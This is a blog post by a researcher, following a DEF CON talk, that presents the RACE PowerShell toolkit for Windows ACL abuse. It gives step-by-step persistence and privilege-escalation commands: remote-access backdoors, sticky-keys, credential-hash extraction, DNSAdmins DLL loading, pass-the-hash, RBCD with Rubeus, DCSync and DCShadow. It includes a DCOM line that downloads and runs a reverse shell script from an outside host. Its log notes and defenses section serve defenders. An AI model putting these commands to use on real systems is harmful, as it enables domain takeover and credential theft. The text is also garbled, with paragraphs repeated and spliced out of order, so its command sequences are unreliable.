I recently spoke at DEF CON 27 on abusing Security Descriptors and ACLs i.e. permissions on Windows machines.

You can find the slides here (also at the end of the post with minor updates). The demo videos which I used for my talk can be found here on and are also used below.

The RACE toolkit is available on my GitHub repository.

This blog post covers whatever I could not do in my talk. There is only so much you can cover in 45 minutes. On top of that, there was some confusion and my talk was cut short by 10 minutes -.-

tldr; It is possible to execute interesting persistence and on-demand privilege escalation attacks against Windows machines by only modifying ACLs of various objects. We will need administrator privileges initially.



So, let's begin.



We are going to use 'labuser' as the attacker controlled user and 'ops' is the target domain.

About Windows Access Control Model: Microsoft's documentation on Access Control Model explains it really well. But below is a quick summary:

Every authenticated user gets an access token. Each process or thread created by that user has a copy of that access token. The token contains identity (SIDs) and privileges of the user.

Now, when a process tries to access a securable object (Files, Registry Keys, Services, Domain Objects etc.) it uses the access token. A securable object, by definition, has a security descriptor. A security descriptor can contain Access Control List (ACL) which is a list of Access Control Entries (ACE) . There are two types of ACLs Discretionary Access Control List (DACL) and SACL (System Access Control List).

DACL controls access to an object and SACL controls logging of access attempts.

So, when a process or thread tries to access a securable object, the system checks the permissions for the access token (and therefore the user) against each ACE in DACL. The process gets access in case of an explicit allow or if there is no DACL. All other cases result in an access denied.

An ACE contains access control information. The relevant information to this discussion is access mask. The access mask in an ACE contains access rights . This governs what a user can do on an object. For example, a user may have permissions to stop a process whereas another may have the access rights to configure a process. This is what defines access in Windows.

Minimal Permissions Once we have understood the concept, let's think what makes a Domain Admin so powerful?

A Domain Admin is so powerful because it has permissions to modify almost all objects on machines in a domain.

Do we need Domain Admin privileges for all the interesting things? Not really! We can use just enough rights to perform a particular task. That is, in place of having FullControl or GenericAll over an object we can use Minimal Permissions required to perform a task.

For example, what allows a user to connect to a remote machine using PowreShell Remoting? By default, administrator rights are required. If we have a look at the ACL of the PowerShell Remoting Endpoint we understand that the Administrators group has FullControl over it:



This is what we are going to focus on. Some interesting backdoor/persistence techniques, some on-demand privilege escalation methods by modifying ACLs of various securable objects.



Introducing the RACE toolkit To make it easy to execute ACL related attacks, I have written the RACE toolkit. RACE is dervied from Minimal Rights and ACE. You can find it on my GitHub :



RACE is a PowerShell module for executing ACL attacks against Windows targets.



RACE uses the ActiveDirectory module for some of the attacks (Set-ADACL and Set-DCPermissions functions). You can get it from a machine where AD DS RSAT is available or from here: Do we actually need 'FullControl' to access the target machine using PowerShell Remoting? No! We can connect to the target machine by adding an ACE for a user which we control and provide it Read, Write and Execute permissions. This will allow the user to access the target machine using PSRemoting without admin privileges. Please note that the user's privileges on the target machine will not be elevated!This is what we are going to focus on. Some interesting backdoor/persistence techniques, some on-demand privilege escalation methods by modifying ACLs of various securable objects.To make it easy to execute ACL related attacks, I have written the RACE toolkit. RACE is dervied from Minimalights and. You can find it on my GitHub : https://github.com/samratashok/RACE RACE is a PowerShell module for executing ACL attacks against Windows targets.RACE uses the ActiveDirectory module for some of the attacks (Set-ADACL and Set-DCPermissions functions). You can get it from a machine where AD DS RSAT is available or from here: https://github.com/samratashok/ADModule

Persistence - PowerShell Remoting As we saw above, it is possible to access a target machine as a non-admin user using PSRemoting by modifying the ACL of the PSRemoting endpoint.

Using the below commands from RACE, we can modify the ACL of the default PSRemoting endpoint. Let's run it on the DC with DA privileges (please ignore 'I/O operation has been aborted'): . .\RACE.ps1 Set-RemotePSRemoting -ComputerName ops-dc -SamAccountName labuser –Verbose Now, we will be able to access the target machine 'ops-dc' as labuser using PowerShell Remoting. Please note that the privileges will still be of labuser. Enter-PSSession -ComputerName ops-dc Here is a video of the above attack:







There are no logs for the ACL modification of PowerShell endpoints. Although, when accessing the target machine there will be Events 4624 (Logon) and 4634 (Logoff).

How is this access useful? We can chain this with other modified permissions. We will come back to that later.

UPDATE 29/02/2019 - Forgot to mention that this is useful against PowerShell Web Access too. If we have credentials of lab user and PSWA is enabled on the target machine, we can access the target machine using the credentials. Persistence - WMI Similarly, we can modify ACLs to access a machine using WMI without admin privileges. In case of WMI, we need to modify ACLs for DCOM endpoint and also for namespaces. For namespaces, we can do it for all of them or only a specific one. The below command does it for all the namespaces: Set-RemoteWMI -ComputerName ops-mssql -SamAccountName labuser –Verbose

Invoke-WMIMethod -Class win32_process -Name Create -Argumentlist 'powershell -e base64encodedpayload' WMI Permanent Event Consumers - In my testing, with modified permissions to the root\subscription namespace it was possible to create permanent event consumers but the payload never executed. This is something which someone else can explore.

Like PSRemoting, there are no logs for ACL modification but logs 4624 and 4634 will be there when we use WMI to access the target machine.

On-demand Privilege Escalation - Windows Services Windows services are very useful for persistence AND getting admin privileges back.

Here is how we can abuse admin privileges with windows services:

- Initially with admin privileges, we can create new services or modify existing services to run as SYSTEM. - We also modify ACLs of such services to allow permissions to config and restart for a user we control. - As the user we control, reconfigure the target service on the target machine to change its executable path to our payload. - Restart the service to execute the payload.

Creating new service: Use the below command to provide labuser GenericAll rights over scmanager (needs admin rights): Set-RemoteServicePermissions -SamAccountName labuser -ComputerName ops-build -ServiceName scmanager -Verbose SCManager is a special service which provides the ability to create new services on a machine. After the above command, labuser can create services on the target machine: Set-RemoteServiceAbuse -ComputerName ops-build -UserName 'ops\labuser' -CreateService evilsvc -SamAccountName labuser -Verbose The above command sets the service start type to auto and the account to LocalSystem. The binpath or executable of the service is set to the specified payload. By default, the payload is to add the user specified by UserName parameter to the local administrators group.

After the above command, we can either wait for the service restart or a system reboot:

If you don't want to wait, run the below command (suggested by the tool) with admin privileges on the target machine to get restart permissions for the created service for our user: Set-RemoteServicePermissions -SamAccountName labuser -ServiceName evilsvc -ComputerName ops-build -Verbose

Now, when we restart the 'evilsvc' service, 'labuser' is added to the local administrators group on the target machine. sc.exe \\ops-build start evilsvc

Modifying existing service:



With admin equivalent permissions (CCDCLCSWRPWPDTLOCRSDRCWDWO) on any service, we can abuse it to escalate privileges. Please refer to the documentation for a full list of the rights.

The below command modifies the ACL of ALG service on the target machine to provide 'labuser' enough rights to configure and restart the service: Set-RemoteServicePermissions -SamAccountName labuser -ComputerName ops-build -ServiceName ALG -Verbose

Set-RemoteServiceAbuse -ComputerName ops-build -UserName 'ops\labuser' -ServiceName ALG -Verbose

Now, when we restart the ALG service, labuser is added to the local administrators group on the target machine.



Below is a video of the attack: Now, when we restart the ALG service, labuser is added to the local administrators group on the target machine.Below is a video of the attack:





I prefer using an existing service in place of creating a new one.



Please note both the methods are verbose in the logs. Service creation, service configuration changes and service stop/start is logged. Therefore, this method is not recommended on DCs or when you want to be stealthy. Next, run the below command as labuser: Now, we can simply run commands as 'labuser' on the target machine:

On-demand Privilege Escalation - Registry Autoruns

Windows registry is a very attractive target for persistence with on-demand privilege escalation. As a very simple example, let's have a look at Image File Execution Options which is a popular method of running a payload as SYSTEM using 'sticky keys'.









Run the below commands with admin privileges on the target machine to setup the registry key permissions:

Set-RemoteRegistryPermissions -SamAccountName labuser -ComputerName ops-mssql -Verbose Set-RegistryImageFileExecution -SamAccountName labuser -ComputerName ops-mssql -Verbose The idea is to modify the ACL of the Registry key responsible for Remote Registry (HKLM:\ SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg) and for sethc.exe (HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe) to be able to change registry remotely without needing admin privileges. To be able to trigger this remotely on a RDP logon session, NLA needs to be disabled by modifying (HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp).Run the below commands with admin privileges on the target machine to setup the registry key permissions:

Then run the below command as labuser to set payload for sethc and to disable NLA:

Invoke-RegistryAbuse -ComputerName ops-mssql -Method ImageFileExecution -Verbose

Now, try to connect to the target machine using RDP and press the Shift key five times to get a command prompt with SYSTEM privileges!





The particular method we used is not very silent (even some AVs flag modification of Image File Execution Options registry key) and actually downgrades the security of the target machine. So please use this carefully in an actual operation.





Implementing some better registry key based command execution is something which is in future goals of the RACE tool.

Persistence - DCOM

We can modify the ACL of the DCOM endpoint (recall that we already did that while abusing WMI) for persistence. Like WMI, we will have command execution with the privileges of only the current user. But as we will see soon, something like that is very helpful when chained with other ACL modifications.

Run the below command with admin rights on the target machine to modify ACL of DCOM endpoint:

Set-DCOMPermissions -UserName labuser -ComputerName ops-mssql -Verbose

Now, run the below command as labuser to execute commands using DCOM on the target machine. By default, the method used for execution is MMC20.Application class.

Invoke-DCOMAbuse -ComputerName ops-build -Method MMC20 -Arguments 'iex(iwr -UseBasicParsing http://192.168.100.31:8080/Invoke-PowerShellTcp.ps1)'

On demand Privilege Escalation - Just Enough Administration (JEA)

JEA is a PowerShell v5 feature which provides control over administrative tasks by providing PowerShell Remoting endpoint with:

- Virtual accounts - temporary local accounts which are local admin on member machines and DA on DCs but no rights to manage resources on network.

- Ability to limit the cmdlets and commands which a user can run through Role Capabilities.





JEA is designed to 'allow non-admins to do some admin tasks' with 'least privileges'. This is precisely what we have been doing so far.





So, JEA provides admin rights to anyone who is explicitly allowed to connect to the endpoint. But the control on those administrative rights is because of the commands and cmdlets they can execute as a JEA session starts in NoLanguage mode. Only explicitly allowed commands and cmdlets are allowed. It is possible to only allow a single command with only one parameter or argument allowed!





JEA endpoints also have transcripts enabled so that all the commands and their outputs are written to a flat text file. In addition to that, Event logs for 'WinRM Virtual Users\WinRM_VA_AccountNumber_domain_username' will be logged. PowerShell script block logging may also log any suspicious logs.





With all these checks, how can we abuse JEA? Look at the JEA Security Considerations for some evil ideas ;)





With admin privileges on the target machine, we can Register a new JEA endpoint, allow all the cmdlets and commands and allow a user we control to connect to it. We can set the transcript log path to user's temp directory and clear the transcripts when we connect to the machine.





Let's use this against a DC. Run the below command with DA privileges to create a JEA Endpoint 'microsoft.powershell64' which allows access to labuser:

Set-JEAPermissions -ComputerName ops-dc -SamAccountName labuser -Verbose



Enter-PSSession -ComputerName ops-dc -ConfigurationName microsoft.powershell64 Now, as labuser we can access the DC and get DA privileges for local context:





Below is a video of the attack:







Please note that there are no logs for new session registration. But, there are Events 4624, 4634 and 4717 when we access the target machine. Alos, keep in mind the PowerShell logs.



The best way to avoid against JEA abuse really is to audit the registered session configurations and role capabilities. A good guidance on Neat, isn't it!Below is a video of the attack:Please note that there are no logs for new session registration. But, there are Events 4624, 4634 and 4717 when we access the target machine. Alos, keep in mind the PowerShell logs.The best way to avoid against JEA abuse really is to audit the registered session configurations and role capabilities. A good guidance on audit and report on JEA is here

Persistence - Registry



- HKLM:\ SYSTEM\CurrentControlSet\Control\Lsa\

- HKLM:\Security\

- HKLM:\SAM\



Once we have modified the ACLs of these keys, we can then modify ACL of Remote registyr, WMI or PowerShell Remoting to access the machine and extract the credentials.



RACE uses code from the



Use the below command to modify the permissions of the above registry keys and remote registry. We are targeting a DC so need DA privileges.:

Add-RemoteRegBackdoor -ComputerName ops-dc -Trustee labuser -Verbose Windows registry stores many interesting credentials - Machine account, Local users and Cached domain credentials. By modifying the ACL for the registry keys where we store these credentials, it is possible to access these credentials without needing admin privileges later on. We need to modify permissions of the following registry keys:- HKLM:\ SYSTEM\CurrentControlSet\Control\Lsa\- HKLM:\Security\- HKLM:\SAM\Once we have modified the ACLs of these keys, we can then modify ACL of Remote registyr, WMI or PowerShell Remoting to access the machine and extract the credentials.RACE uses code from the DAMP toolkit for this:Use the below command to modify the permissions of the above registry keys and remote registry. We are targeting a DC so need DA privileges.:



Get-RemoteMachineAccountHash -ComputerName ops-dc -Verbose



Use the Get-RemoteLocalAccountHash function to ectract local acccount hashes. In case of the DC, this gives the NTLM hash of the DSRM account





Remeber that we left a question - how modifying ACLs of PSRemoting is useful? This is a very good example. in case you cannot access remote registry (for example, filtered on firewall), you can modify the ACL of PSRemoting and the Registry keys and extract the secrets from the DC without admin privileges:

$opsdc = New-PSSession -ComputerName ops-dc Invoke-Command -FilePath C:\RACE-master\RACE.ps1 -Session $opsdc Enter-PSSession $opsdc Get-RemoteMachineAccountHash

Below is a video of the attack:





Note that there is no log for change in permission of the registry keys. But as for the other attacks, there will be 4624 and 4634 log entries when accessing the DC.



On demand Privilege Escalation on DC - DNSAdmins DNSAdmins is an AD security group which has the capability to load arbitrary DLLs from a UNC path in the DNS service. See



The group has Read, Write, Create All Child objects, Delete Child objects, Special Permissions on the DNS Server object. We can either:

- Modify ACL of the DNS Server object to have the same rights as the DNSAdmins group to abuse the DLL configuration feature.



or



- Modify the ACL of the DNSAdmins group because it is not a Protected Group (ACL not protected by AdminSDHolder)



Let's modify the ACL of the DNS Server object to be able to load DLL remotely and also provide service start and stop rights on the DNS service for a user we control. Use the below command:

Set-DNSAbusePermissions -SAMAccountName labuser -DistinguishedName 'CN=MicrosoftDNS,CN=System,DC=offensiveps,DC=powershell,DC=local' -ComputerName ops-dc -Verbose Now, use the below command as labuser to load mimilib.dll from Mimikatz to load the DLL in DNS Service. Please note that the DNSServer module from DNS RSAT is required for the below command:

Invoke-DNSAbuse -ComputerName ops-dc -DLLPath \\ops-build\dll\mimilib.dll -Verbose Now, use the below command to extract the machine account hash (uses remote registry):ICYMI, machine account of DC can run the DCSync attack!Use the Get-RemoteLocalAccountHash function to ectract local acccount hashes. In case of the DC, this gives the NTLM hash of the DSRM account ! Remeber that we left a question - how modifying ACLs of PSRemoting is useful? This is a very good example. in case you cannot access remote registry (for example, filtered on firewall), you can modify the ACL of PSRemoting and the Registry keys and extract the secrets from the DC without admin privileges:Sweet!Below is a video of the attack:Note that there is no log for change in permission of the registry keys. But as for the other attacks, there will be 4624 and 4634 log entries when accessing the DC.DNSAdmins is an AD security group which has the capability to load arbitrary DLLs from a UNC path in the DNS service. See this post and my post . This group is effectively DA equivalent if DNS service is running on a DC.The group has Read, Write, Create All Child objects, Delete Child objects, Special Permissions on the DNS Server object. We can either:- Modify ACL of the DNS Server object to have the same rights as the DNSAdmins group to abuse the DLL configuration feature.or- Modify the ACL of the DNSAdmins group because it is not a Protected Group (ACL not protected by AdminSDHolder)Let's modify the ACL of the DNS Server object to be able to load DLL remotely and also provide service start and stop rights on the DNS service for a user we control. Use the below command:Now, use the below command as labuser to load mimilib.dll from Mimikatz to load the DLL in DNS Service. Please note that the DNSServer module from DNS RSAT is required for the below command:

On demand Privilege Escalation on DC - DSRM Administrator

DSRM administrator is a special 'local administrator' account on a DC. This is very useful for persistence as it is seldom changed. By default, this user cannot logon from network. But this logon behavior can be changed by modifying the registry key - HKLM:\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior and set its value to 2.





This means, once we have DA privileges, we can:

- Extract the hash for DSRM administrator (Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"') or we can also chain this with modification of registry keys, as discussed previously, to obtain the DSRM hash without admin privileges.





- Modify the permissions of the above registry key so that a user we control can change it on demand.

- Use Mimikatz PTH to connect to the DC.





Lets try it. Run the below command to modify the DSRMLogonBehavior registry key and allow labuser to modify it anytime. If the key doesn't exist, it is created:

Set-DCPermissions -Method DSRMAdmin -SAMAccountName labuser -Server ops-dc -Verbose

As labuser, we can modify the registry key. Note that this needs to be coupled with modification of ACL of a remote access method (PSRemoting, WMI, Remote Registry or DCOM). Let's use PSRemoting for that:

Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD



Now, we can use PTH (note the /domain parameter in the below command) to access the DC. We need to use NTLM authentication to access the DC as we are using a local account: Now, we can use PTH (note the /domain parameter in the below command) to access the DC. We need to use NTLM authentication to access the DC as we are using a local account:

Invoke-Mimikatz -Command '"sekurlsa::pth /domain:ops-dc /user:Administrator /ntlm: /run:powershell.exe"' Enter-PSSession ops-dc -Authentication Negotiate

Persistence using DC - Resource-based Constrained Delegation (RBCD)

Resource-based Constrained Delegation enables the resource owner to set delegation to it. Unlike the traditional Delegation, DA privileges are not required to set RBCD.





As per this post, for Generic DACL abuse of RBCD, if a user we control has Write permissions on a computer object, that user can configure RBCD on the machine. This allows the ability to access the target machine as any user including DA.





Use the below command to give labuser permissions to configure RBCD on 'ops-file' by modifying the ACLs of ops-file computer object. This will need DA privileges:

Set-DCPermissions -Method RBCD -DistinguishedName 'CN=OPS-FILE,OU=Servers,DC=offensiveps,DC=powershell,DC=local' -SAMAccountName labuser -Verbose

As labuser, run the below command (needs the ActiveDirectory module) to configure RBCD from attacker machine ops-user1$ to ops-file. This enables us to access ops-file as any user when we impersonate the ops-user1 machine:

Set-ADComputer -Identity ops-file -PrincipalsAllowedToDelegateToAccount ops-user1$

We can extract the AES256 keys for the ops-user1$ account by dumping credetials on that machine (Invoke-Mimikatz -Command '"sekurlsa::ekeys"').





Now, we can use Rubeus to impersonate a DA which effectively means local admin on ops-file.

.\Rubeus.exe s4u /user:ops-user1$ /aes256:AES256KeyofUser1$ /msdsspn:cifs/ops-file /impersonateuser:administrator /ptt

Please note that we are merely impersonating the DA for accessing ops-file. We cannot access any other machine from ops-file as DA.

Persistence using DC - Exchange Groups

Exchange creates multiple groups on installation. Groups like Exchange Servers, Exchange Trusted Subsystem and Exchange Windows Permissions have interesting permissions. The groups are added in a new container 'Microsoft Exchange Security Groups'.





None of the Exchange Groups is a protected group so we can modify their ACLs for persistence.

Let's target the Exchange Windows Permissions group which has WriteDACL permission on the domain object (or even forest root domain object depending on the installation).





In our example, we target the Exchange Windows Permissions group on the forest root powershell.local.





Using DA privileges (on forest root in this case), run the below command to provide labuser WriteDACL permissions on the Exchange Windows Permissions group:

Set-DCPermissions -Method GroupDACL -DistinguishedName 'CN=Exchange Windows Permissions,OU=Microsoft Exchange Security Groups,DC=powershell,DC=local' -SAMAccountName ops\labuser -Verbose



Set-ADACL -SamAccountName ops\labuser -DistinguishedName 'CN=Exchange Windows Permissions,OU=Microsoft Exchange Security Groups,DC=powershell,DC=local' -GUIDRight WriteMember -Server powershell.local -Verbose Now, as labuser, we modify the ACL of the Exchange Windows Permissions group and add WriteMember rights to labuser. Note that this is just one of the paths once we have WriteDACL on the group:

$user = Get-ADUser -Identity labuser $group = Get-ADGroup -Identity 'Exchange Windows Permissions' -Server powershell.local Add-ADGroupMember -Identity $group -Members $user -Verbose

Set-ADACL -SamAccountName ops\labuser -DistinguishedName 'DC=powershell,DC=local' -GUIDRight DCSync -Server ps-dc -Verbose

Invoke-Mimikatz -Command '"lsadump::dcsync /user:ps\krbtgt /domain:powershell.local"'

AdminSDHolder

ICYMI , the ACL of the AdminSDHolder is overwritten on all Protected Groups by an automatic process called SDProp every 60 minutes. This means any changes we do to the ACL of AdminSDHolder will be propagated to all the Protected Groups too. Therefore, it is a very interesting persistence technique.





Use the below command as DA to add WriteDACL permissions for labuser on AdminSDHolder:

Set-DCPermissions -Method AdminSDHolder -SAMAccountName labuser -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=offensiveps,DC=powershell,DC=local' -Verbose

Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=offensiveps,DC=powershell,DC=local' -Principal labuser -Right GenericAll -Verbose

DCSync The most famous ACL abuse. We can modify the ACL of the domain object to provide DCSync rights to a user we control. Run the below as DA:

Set-DCPermissions -Method DCSync -SAMAccountName labuser -DistinguishedName 'DC=offensiveps,DC=powershell,DC=local' -Verbose



DCShadow

DCShadow provides very useful forest persistence. See this and this





With DA privileges on forest root and from a machine joined to forest root, run the following command to modify ACLs of multiple objects. This will allow to run DCShadow without DA:

Set-DCShadowPermissions -FakeDC ops-user1 -SAMAccountName serviceuser -Username labuser -Verbose

The above command modifies ACLs for:





The domain object.

- DS-Install-Replica (Add/Remove Replica in Domain)

- DS-Replication-Manage-Topology (Manage Replication Topology)

- DS-Replication-Synchronize (Replication Synchronization)





The Sites object (and its children) in the Configuration container.

- CreateChild and DeleteChild





The object of the computer which is registered as a DC - ops-user1 above.

WriteProperty (Not GenericWrite)





The target object - serviceuser above

WriteProperty (Not GenericWrite)





We can now run DCShadow against serviceuser from ops-user1 as labuser.

Previous work

Directly taken from my talk slides:

- ACL abuse is not something new, system administrators have been using this for so many years!



https://www.sstic.org/2014/presentation/chemins_de_controle_active_directory/ - (French) Chemins de contrôle en environnement Active Directory

- An ACE Up the Sleeve Designing Active Directory DACL Backdoors (DEF CON 25) https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/DEF%20CON%2025%20-%20Andrew-Robbins-and-Will-Schroeder-An-Ace-Up-The-Sleeve.pdf

Defenses

Protecting your privileged users is definitely the best defense.





Event logs are also useful for detecting these attacks. While there are almost no logs for ACL changes in the default configuration, we can still use the security logs when someone accesses a target machine using Events 4624, 4634 and 4672 in case of admin logon.





For ACL change logs, configure Auditing for ACL changes. See this technet article for guidance.





Regular ACL auditing is also useful in weeding out unnecessary or malicious ACEs. We can use tools like is also useful in weeding out unnecessary or malicious ACEs. We can use tools like BloodHound ADACLScanner and PingCastle for that.





Deploy-Deception, can be used in creating accounts which have mis-configured ACLs and have verbose logging enabled. It is useful tricking an attacker in assuming they found object(s) with misconfigured ACLs A project I created, can be used in creating accounts which have mis-configured ACLs and have verbose logging enabled. It is useful tricking an attacker in assuming they found object(s) with misconfigured ACLs

Future Work

Next, add labuser (or a proxy user) to the Exchange Windows Permissions group. Because of this group membership, labuser will have WriteDACL rights on the domain object of the forest root:Usig the WriteDACL rights with labuser, add DCSync rights for labuser:Finally, run the DCSync attack:Below is a video of the attack:This allows us to push whatever permissions we want on all the Protected Groups as labuser:Directly taken from my talk slides:- Service Permissions are stored in Registry. So, that is a place ripe for abuse.- As noted earlier, WMI Permanent Event Consumer needs to be explored more.- For the RACE toolkit, work on hiding the ACE we introduce is highly desirable. Also, implementation of more Registry Autoruns! Currently, Remove option does not work for multiple functions.That is all! Hope you like it!